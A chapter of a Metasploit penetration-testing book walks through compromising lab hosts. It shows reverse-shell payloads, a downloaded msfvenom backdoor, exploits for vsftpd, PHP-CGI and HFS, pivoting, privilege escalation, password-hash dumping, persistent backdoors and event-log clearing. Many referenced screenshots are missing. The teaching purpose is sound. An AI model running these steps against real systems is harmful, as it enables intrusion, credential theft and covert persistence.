Mastering Metasploit - Second Edition

Before we start firing sophisticated and complex attack vectors with Metasploit, we must get ourselves comfortable with the work environment. Gathering knowledge about the work environment is a critical factor that comes into play before conducting a penetration test. Let us understand the various phases of a penetration test before jumping into Metasploit exercises and see how to organize a penetration test on a professional scale.

The very first phase of a penetration test, preinteractions, involves a discussion of the critical factors regarding the conduct of a penetration test on a client's organization, company, institute, or network; this is done with the client. This serves as the connecting line between the penetration tester and the client. Preinteractions help a client get enough knowledge on what is about to be done over his or her network/domain or server. Therefore, the tester will serve here as an educator to the client. The penetration tester also discusses the scope of the test, all the domains that will be tested, and any special requirements that will be needed while conducting the test on the client's behalf. This includes special privileges, access to critical systems, and so on. The expected positives of the test should also be part of the discussion with the client in this phase. As a process, preinteractions discuss some of the following key points:

For more information on preinteractions, refer to http://www.pentest-standard.org/index.php/File:Pre-engagement.png.

In the intelligence-gathering phase, you need to gather as much information as possible about the target network. The target network could be a website, an organization, or might be a full-fledged Fortune 500 company. The most important aspect is to gather information about the target from social media networks and use Google Hacking (a way to extract sensitive information from Google using specialized queries) to find sensitive information related to the target. Footprinting the organization using active and passive attacks can also be an approach.

The intelligence phase is one of the most crucial phases in penetration testing. Properly gained knowledge about the target will help the tester to stimulate appropriate and exact attacks, rather than trying all possible attack mechanisms; it will also help him or her save a large amount of time as well. This phase will consume 40 to 60 percent of the total time of the testing, as gaining access to the target depends largely upon how well the system is footprinted.

It is the duty of a penetration tester to gain adequate knowledge about the target by conducting a variety of scans, looking for open ports, identifying all the services running on those ports and to decide which services are vulnerable and how to make use of them to enter the desired system.

The procedures followed during this phase are required to identify the security policies that are currently set in place at the target, and what we can do to breach them.

Let us discuss this using an example. Consider a black box test against a web server where the client wants to perform a network stress test.

Here, we will be testing a server to check what level of bandwidth and resource stress the server can bear or in simple terms, how the server is responding to the Denial of Service (DoS) attack. A DoS attack or a stress test is the name given to the procedure of sending indefinite requests or data to a server in order to check whether the server is able to handle and respond to all the requests successfully or crashes causing a DoS. A DoS can also occur if the target service is vulnerable to specially crafted requests or packets. In order to achieve this, we start our network stress-testing tool and launch an attack towards a target website. However, after a few seconds of launching the attack, we see that the server is not responding to our browser and the website does not open. Additionally, a page shows up saying that the website is currently offline. So what does this mean? Did we successfully take out the web server we wanted? Nope! In reality, it is a sign of protection mechanism set by the server administrator that sensed our malicious intent of taking the server down, and hence resulting in a ban of our IP address. Therefore, we must collect correct information and identify various security services at the target before launching an attack.

The better approach is to test the web server from a different IP range. Maybe keeping two to three different virtual private servers for testing is a good approach. In addition, I advise you to test all the attack vectors under a virtual environment before launching these attack vectors onto the real targets. A proper validation of the attack vectors is mandatory because if we do not validate the attack vectors prior to the attack, it may crash the service at the target, which is not favorable at all. Network stress tests should generally be performed towards the end of the engagement or in a maintenance window. Additionally, it is always helpful to ask the client for white listing IP addresses used for testing.

Now let us look at the second example. Consider a black box test against a windows 2012 server. While scanning the target server, we find that port 80 and port 8080 are open. On port 80, we find the latest version of Internet Information Services (IIS) running while on port 8080, we discover that the vulnerable version of the Rejetto HFS Server is running, which is prone to the remote code execution (RCE) flaw.

However, when we try to exploit this vulnerable version of HFS, the exploit fails. This might be a common scenario where inbound malicious traffic is blocked by the firewall.

In this case, we can simply change our approach to connecting back from the server, which will establish a connection from the target back to our system, rather than us connecting to the server directly. This may prove to be more successful as firewalls are commonly being configured to inspect ingress traffic rather than egress traffic.

Coming back to the procedures involved in the intelligence-gathering phase when viewed as a process are as follows:

A regular occurrence during penetration testers' lives is when they start testing an environment, they know what to do next. If they come across a Windows box, they switch their approach towards the exploits that work perfectly for Windows and leave the rest of the options. An example of this might be an exploit for the NETAPI vulnerability, which is the most favorable choice for exploiting a Windows XP box. Suppose a penetration tester needs to visit an organization, and before going there, they learn that 90 percent of the machines in the organization are running on Windows XP, and some of them use Windows 2000 Server. The tester quickly decides that they will be using the NETAPI exploit for XP-based systems and the DCOM exploit for Windows 2000 Server from Metasploit to complete the testing phase successfully. However, we will also see how we can use these exploits practically in the latter section of this chapter.

Consider another example of a white box test on a web server where the server is hosting ASP and ASPX pages. In this case, we switch our approach to use Windows-based exploits and IIS testing tools, therefore ignoring the exploits and tools for Linux.

Hence, predicting the environment under a test helps to build the strategy of the test that we need to follow at the client's site.

Before using Metasploit, we need to have a test lab. The best idea for setting up a test lab is to gather different machines and install different operating systems on them. However, if we only have a single machine, the best idea is to set up a virtual environment.

Virtualization plays an important role in penetration testing today. Due to the high cost of hardware, virtualization plays a cost-effective role in penetration testing. Emulating different operating systems under the host operating system not only saves you money but also cuts down on electricity and space. However, setting up a virtual penetration test lab prevents any modifications on the actual host system and allows us to perform operations on an isolated environment. A virtual network allows network exploitation to run on an isolated network, thus preventing any modifications or the use of network hardware of the host system.

Moreover, the snapshot feature of virtualization helps preserve the state of the virtual machine at a particular point in time. This proves to be very helpful, as we can compare or reload a previous state of the operating system while testing a virtual environment without reinstalling the entire software in case the files are modified after attack simulation. Virtualization expects the host system to have enough hardware resources, such as RAM, processing capabilities, drive space, and so on, to run smoothly.

So, let us see how we can create a virtual environment with the Kali operating system (the most favored operating system for penetration testing, which contains the Metasploit framework by default).

In order to create virtual environments, we need virtual machine software. We can use any one between two of the most popular ones: VirtualBox and VMware player. So, let us begin with the installation by performing the following steps:

You can run Kali Linux in Live mode or you can opt for Graphical Install/ Install to install it persistently, as shown in the following screenshot:

Now that we have recalled the basic phases of a penetration test and completed the setup of Kali Linux, let us talk about the big picture: Metasploit. Metasploit is a security project that provides exploits and tons of reconnaissance features to aid the penetration tester. Metasploit was created by H.D. Moore back in 2003, and since then, its rapid development has lead it to be recognized as one of the most popular penetration testing tools. Metasploit is entirely a Ruby-driven project and offers a great deal of exploits, payloads, encoding techniques, and loads of post-exploitation features.

Metasploit comes in various different editions, as follows:

Throughout this book, we will be using the Metasploit Community and Framework editions. Metasploit also offers various types of user interfaces, as follows:

After setting up Kali Linux, we are now ready to perform our first penetration test with Metasploit. However, before we start the test, let us recall some of the basic functions and terminologies used in the Metasploit framework.

msf>use exploit/unix/ftp/vsftpd_234_backdoor

msf>use auxiliary/scanner/portscan/tcp

msf>show payloads

msf> show options

msf>set payload windows/meterpreter/reverse_tcp

msf>set LHOST 192.168.10.118

msf> set RHOST 192.168.10.112

msf> set LPORT 4444

msf> set RPORT 8080

msf>setg RHOST 192.168.10.112

msf>run

msf>exploit

msf(ms08_067_netapi)>back

msf>

msf>info exploit/windows/smb/ms08_067_netapi

msf(ms08_067_netapi)>info

msf>search hfs

msf>check

msf>sessions [session number]

meterpreter>sysinfo

meterpreter>ifconfig

meterpreter>ipconfig (Windows)

meterpreter>arp

meterpreter>background

meterpreter>shell

meterpreter>getuid

meterpreter>getsystem

meterpreter>getpid

meterpreter>ps

Before we jump into an example penetration test, we must know why we prefer Metasploit to manual exploitation techniques. Is this because of a hacker-like terminal that gives a pro look, or is there a different reason? Metasploit is a preferable choice when compared to traditional manual techniques because of certain factors that are discussed in the following sections.

Recalling the basics of Metasploit, we are all set to perform our first penetration test with Metasploit. We will test an IP address here and try to find relevant information about the target IP and will try to break deeper into the network as much as we can. We will follow all the required phases of a penetration test here, which we discussed in the earlier part of this chapter.

It is always a better approach to store the results when you perform penetration testing. This will help us build a knowledge base about hosts, services, and the vulnerabilities in the scope of a penetration test. In order to achieve this functionality, we can use databases in Metasploit. Connecting a database to Metasploit also speeds up searching and improves response time. The following screenshot depicts a search when the database is not connected:

In order to use databases, we need to start the Metasploit database service using the following command:

root@kali:~# service postgresql start
root@kali:~#msfdbinit

The service postgresql start command initializes the PostgreSQLdatabase service and the msfdbinit command initializes and creates the PostgreSQL database for Metasploit.

Once the databases are created and initialized, we can quickly fire up Metasploit using the following command:

root@kali:~#msfconsole

This command will fire up Metasploit, as shown in the following screenshot:

To find out the status of the databases, we can use the following command:

msf>db_status

The preceding command will check whether the database is connected and is ready to store the scan results or not. We can see in the preceding screenshot that the database is connected and it will store all the results.

Next, if we want to connect to a database other than the default one, we can change the database using the following command:

db_connect

Typing the preceding command will display its usage methods, as we can see in the following screenshot:

In order to connect to a database, we need to supply a username, password, and a port with the database name along with the db_connect command.

Let us see what other core database commands are supposed to do. The following table will help us understand these database commands:

Now that we have seen the database commands, let us move further and perform an NMAP scan on the target:

In the preceding screenshot, using db_nmap will automatically store all the results in the Metasploit database. In the command at the top of the preceding screenshot, the -sV switch denotes a service scan from NMAP on the target, while the -p switch denotes the port numbers to be included in the scan.

We can see that there are numerous open ports on the target IP address. Let us list the services running on ports using services command as follows:

We can see that we have numerous services running on the target. Let us filter the currently running services using the services -u command as follows:

We can always list all the hosts in the database using hosts command as follows:

From the intelligence gathering phase, we can see that there are numerous services running on the target. Hosts information also reveals that the target operating system is Linux-based. Let us search for one of the vulnerabilities within Metasploit and try to find the matching exploit module:

We can see that we already have a module in Metasploit that targets the vulnerable service found. After exploring the details at http://www.securityfocus.com/bid/48539/discuss and http://scarybeastsecurity.blogspot.in/2011/07/alert-vsftpd-download-backdoored.html, we can easily figure out that the vulnerability was intentionally put into the software and was carrying a backdoor that can be triggered remotely on the vulnerable system.

After modeling threats, let us load the matching module into Metasploit using the use exploit/unix/ftp/vsftpd_234_backdoor command and analyze the vulnerability details using info command as follows:

We can see that the vulnerability was allegedly added to the vsftpd archive between the dates mentioned in the description of the module.

The procedure of exploiting the vulnerability

The following screenshot of the vulnerable source code will make things much clearer:

We can clearly see that if the bytes in the network buffer match the backdoor sequence of 0x3a (colon) and 0x29, the malicious function is triggered. Furthermore, is we explore the details of the malicious function, we can see the following function definition for the malicious function:

sa.sin_port=6200 serves as the backdoor port and all the commands sent to the service get executed using the execl("/bin/sh","sh",(char *)0); function.

Note

Details about the exploit module can be found at https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/.

Exploitation and post exploitation

After gaining enough knowledge about the vulnerability, let us now exploit the target system. Let us see what options we need to set before firing the exploit onto the target. We can do this by running the show options command, as shown following:

We can see that we have only two options, which are RHOST and RPORT. We set RHOST as the IP address of the target and RPORT as 21, which is the port of the vulnerable FTP server.

Next, we can check for the matching payloads via the show payloads command to see what payloads are suitable for this particular exploit module. We can see only a single payload, which is cmd/unix/interact. We can use this payload using the set payload cmd/unix/interact command.

Let us now take a step further and exploit the system, as shown in the following screenshot:

Bingo! We got root access to the target system. So, what's next? Since we have got a simple shell, let us try gaining better control over the target by spawning a meterpreter shell.

In order to gain a meterpreter shell, we need to create a client-oriented payload, upload it to the target system, and execute it. So, let's get started:

We can use a great utility called msfvenom to generate a meterpreter payload, as shown in the preceding screenshot. The -p switch defines the payload to use, while LHOST and LPORT define our IP address and port number that ourbackdoor.elf file will connect to in order to provide us meterpreter access to the target. The -f switch defines the output type, and elf is the default extension for the Linux-based systems.

Since we have a normal cmd shell, it would be difficult to upload backdoor.elf file onto the target. Therefore, let us run Apache server and host our malicious file on it:

We run the apache service via the service apache2 start command and move the backdoor file into the default document root directory of the Apache server. Let us now download the file from our Apache server onto the victim system.

We can download the file via the wget command, as shown in the preceding screenshot. Now, in order to allow the victim system to communicate with Metasploit, we need to set up an exploit handler on our system. The handler will allow communication between the target and Metasploit using the same port and payload we used in the backdoor.elf file.

We issue use exploit/multi/handler on a separate terminal in Metasploit and set the payload type as linux/x86/meterpreter/reverse_tcp. Next, we set the listening port via set LPORT 4444 and LHOST as our local IP address. We can now run the module using the exploit command and wait for the incoming connections.

When we download the file onto the target, we provide appropriate permissions to the file via the chmod command, as shown in the following screenshot:

Providing the 777 permission will grant all the relevant read, write, and execute permissions on the file. Execute the file, and now switch to the other terminal, which is running our exploit handler:

Bingo! We got the meterpreter access to the target. Let's find some interesting information using the post exploitation modules:

Running the sysinfo command, we can see that the target is metasploitable (an intentionally vulnerable operating system), its architecture is i686, and the kernel version is 2.6.24-16.

Let's run some interesting commands in order to dive deep into the network:

Running the ifconfig command on the target, we see pretty interesting information, such as an additional network interface, which may lead us to the internal network on which the internal systems may reside. We run the arp command on the target and check if there are some systems already connected or were connected to the exploited system from the internal network, as shown in the following screenshot:

We can clearly see an additional system with the IP address 192.168.20.4 on the internal network. Approaching the internal network, we need to set up pivoting on the exploited machine using the autoroute command:

The autoroute -p command prints all the routing information on a session. We can see we do not have any routes by default. Let us add a route to the target internal network using the autoroute -s 192.168.20.0 255.255.255.0 command. Issuing this command, we can see that the route got successfully added to the routing table, and now all the communication from Metasploit will pass through our meterpreter session to the internal network.

Let us now put the meterpreter session in the background by using the background command as follows:

Since the internal network is now approachable, let us perform a port scan on the 192.168.20.4 system using the auxiliary/scanner/portscan/tcp auxiliary module as follows:

Running the port scan module will require us to set the RHOSTS option to the target's IP address using setg RHOSTS 192.168.20.4. The setg option will globally set RHOSTS value to 192.168.20.4 and thus eliminates the need to retype the set RHOSTS command again and again.

In order to run this module, we need to issue the run command. We can see from the output that there are multiple services running on the 192.168.20.4 system. Additionally, we can see that port 80 is open. Let us try fingerprinting the service running on port 80 using another auxiliary module, auxiliary/scanner/http/http_version, as follows:

Running the auxiliary module, we find that the service running on port 80 is the popular Apache 2.2.8 web server. Exploring the web, we find that the PHP version 5.2.4 is vulnerable and can allow an attacker to gain access over the target system.

This vulnerability is associated with CVE id 2012-1823, which is the PHP-CGI query string parameter vulnerability. According to the PHP site, when PHP is used in a CGI-based setup (such as Apache's mod_cgid), php-cgi receives a processed query string parameter as command-line argument, which allows command-line switches, such as -s, -d or -c, to be passed to the php-cgi binary, which can be exploited to disclose source code and obtain arbitrary code execution. Therefore, a remote unauthenticated attacker could obtain sensitive information, cause a DoS condition, or may be able to execute arbitrary code with the privileges of the web server.

A common example of this vulnerability will allow disclosure of source code when the following URL is visited: http://localhost/index.php?-s.

Exploitation and post exploitation

Gathering knowledge about the vulnerability, let's try to find the matching Metasploit module in order to exploit the vulnerability:

We can see that we have found the matching exploit from the list of matching modules, as follows:

Let us now try exploiting the vulnerability by loading the matching module in Metasploit, as follows:

We need to set all the required values for the exploit module, as follows:

We can find all the useful payloads that we can use with the exploit module by issuing the show payloads command, as follows:

On the preceding screen, we can see quite a large number of payloads. However, let us set the php/meterpreter/reverse_tcp payload as it provides better options and flexibility than the generic/shell_bind_tcp payload:

Finally, let us assign our local IP address to LHOST as follows:

We are now all set to exploit the vulnerable server. Let's issue the exploit command:

Bingo! We got the access to the internal system running on 192.168.20.4. Let's run a few post exploitation commands such as getwd, which will print the current directory and is similar to the pwd command. The getuid command will print the current user we got access to, and the shell command will spawn a command-line shell on the target system.

Once we drop into the shell, we can run system commands such as uname -a to find out the kernel version, and can also use wget andchmod and execute commands to spawn a similar meterpreter shell as we did on the first system. Running these commands will generate output similar to what is shown in the following screenshot:

Download the same backdoor.elf file onto this server by issuing a wget command or using the download command from meterpreter in order to gain a better quality of access through the PHP meterpreter. This is an important step because say if we need to figure out the ARP details of this host, we won't be able to do that using a PHP meterpreter. Therefore, we need a better access mechanism.

Executing the backdoor.elf file on this machine will provide meterpreter access as follows:

Running the exploit handler on a separate terminal and waiting for the incoming connection, we get the following output as soon as the backdoor.elf file gets executed and connects to our system:

Boom! We made it to the second machine as well. Let's now figure out its ARP details and discover more systems, if any, on the network as follows:

We can see one more system with the IP address 192.168.20.6 on the internal network. However, we do not need to add a route to this machine since the first machine already has a route to the network. Therefore, we just need to switch back to the Metasploit console. Up to this point, we have three meterpreter sessions, as shown in this screenshot:

Since we already have a route to the network of the newly found host, let us perform a TCP scan over the 192.168.20.6 target system using the auxiliary/scanner/portscan/tcp module as follows:

We can see that we have few open ports. We can individually scan popular ports with their relevant modules using Metasploit. Let us scan the HTTP ports 80 and 8080 with the auxiliary/scanner/http/http_header auxiliary module to find what services are running on them as follows:

We can see from the preceding screenshot that we have the latest IIS 8.5 running on port 80, which is a bit difficult to exploit since it doesn't have any high-risk vulnerabilities. However, we have HFS 2.3 running on port 8080, which is prone to a known Remote Code Execution flaw.

According to the CVE details for this vulnerability (CVE-2014-6287), the findMacroMarker function in parserLib.pas in Rejetto HTTP File Server (otherwise known as HFS or HttpFileServer) 2.3x (in versions prior to 2.3c) allows remote attackers to execute arbitrary programs via a %00 sequence in a search action.

Here is the vulnerable function:

function findMacroMarker(s:string; ofs:integer=1):integer;

 begin result:=reMatch(s, '\{[.:]|[.:]\}|\|', 'm!', ofs) end;

The function will not handle a null byte safely, so a request to http://localhost:80/search=%00{.exec|cmd.} will stop regex from parsing the macro, and remote code injection will happen.

Exploitation and post exploitation

Let us find the relevant exploit module via the search command in Metasploit in order to load the exploit for the HFS 2.3 server:

We can see we have the exploit/windows/http/rejetto_hfs_exec module matching the vulnerable target. Let's load this module using the use command and set the RHOST option to the IP address of the target and RPORT to 8080. We must also configure the payload as windows/meterpreter/reverse_tcp and set HOST to our IP address and LPORT to 4444 (or anything usable). Once all the options have been configured, let's see if everything is set properly by issuing the show options command as follows:

We can see that we have everything set on our module and we are good to exploit the system using the exploit command, as follows:

Bingo! We breached the server, and we are inside it. Let us perform some post exploitation tasks as follows:

We successfully gained access to a Windows Server 2012 box with Administrator privileges. Let us issue the getsystem command and escalate the privileges to system level. We can see in the preceding screenshot that the privileges are now changed to SYSTEM.

Let's explore more and run some basic post exploitation commands, such as getpid and ps, which are used to gather the list of running processes. The getpid command is used to print the process ID in which meterpreter resides, as shown in the following screenshot:

We can see that we have the process ID 2036, which corresponds to eIJDRPTHQ.exe. Therefore, if an administrator kills this particular process, our meterpreter session is gone. We must escalate our access to a better process, which should evade the eyes of the administrator. The explorer.exe process is a good option. We will migrate to explorer.exe, the main process on Windows-based distributions, as follows:

Once migrated, we can check the current process ID by issuing the getpid command as shown in the preceding screenshot. We can gather password hashes from the compromised system using the hashdump command, which can be seen in the following screenshot:

After gathering the hashes, we can always execute a pass-the-hash attack and bypass the limitation of not having a plain text password.

Note

Refer to http://www.cvedetails.com/vendor/26/Microsoft.html for more information on various vulnerabilities in Windows based operating systems. Refer to http://www.cvedetails.com/top-50-vendors.php?year=0 for more information on vulnerabilities in the top 50 vendors in the world.

Maintaining access is crucial because we might need to interact with the hacked system repeatedly. Therefore, in order to achieve persistent access, we can add a new user to the hacked system, or we can use the persistence module from Metasploit.

Running the persistence module will make the access to the target system permanent by installing a permanent backdoor to it. Therefore, if the vulnerability patches, we can still maintain access to that target system, as shown in the following screenshot:

Running the persistence module will upload and execute a malicious .vbs script on the target. The execution of this malicious script will cause a connection attempt to be made to the attacker's system with a gap of every few seconds. This process will also be installed as a service and is added to the startup programs list. So, no matter how many times the target system boots, the service will be installed permanently. Hence, its effect remains intact unless the service is uninstalled or removed manually.

In order to connect to this malicious service at the target and regain access, we need to set up exploit/multi/handler. A handler is a universal exploit handler used to handle incoming connections initiated by the executed payloads at the target machine. To use an exploit handler, we need to issue commands from the Metasploit framework's console, as shown in the following screenshot:

A key point here is that we need to set the same payload and the same LPORT option that we used while running the persistence module.

After issuing the exploit command, the handler starts to wait for the connection to be made from the target system. As soon as an incoming connection is detected, we are presented with the meterpreter shell.

Information on meterpreter backdoors using metsvc can be found at https://www.offensive-security.com/metasploit-unleashed/meterpreter-backdoor/.

After a successful breach of the target system, it is advisable to clear every track of our presence. However, during a sanctioned penetration test, it is not advisable to clear logs and tracks because blue teams can leverage these log entries to improve their defenses while figuring out how the tester made it through to the system. Therefore, only backdoors or executables should be removed. Nevertheless, we must learn how we can clear tracks. In order to achieve this, we need to clear the event logs. We can clear them with the event manager module as follows:

We can see we have a large number of logs present. Let's clear them using the -c switch as follows:

At this point, we end up with the penetration testing process for the target network environment and can continue with the report generation process. In the preceding test, we focused on a single vulnerability per system only, just for the sake of learning. However, we must test all the vulnerabilities to verify all the potential vulnerabilities in the target system.

We can also remove event logs by issuing the clearev command from the meterpreter shell.

Let us summarize the entire penetration test step by step:

Throughout this chapter, we have introduced the phases involved in penetration testing. We have also seen how we can set up Metasploit and conduct a black box test on the network. We recalled the basic functionalities of Metasploit as well. We saw how we could perform a penetration test on two different Linux boxes and Windows Server 2012. We also looked at the benefits of using databases in Metasploit.

After completing this chapter, we are equipped with the following:

The primary goal of this chapter was to inform you about penetration test phases and Metasploit. This chapter focused entirely on preparing ourselves for the next chapters.

In the next chapter, we will cover a technique that is a little more difficult, that is, scripting the components of Metasploit. We will dive into the coding part of Metasploit and write our custom functionalities to the Metasploit framework.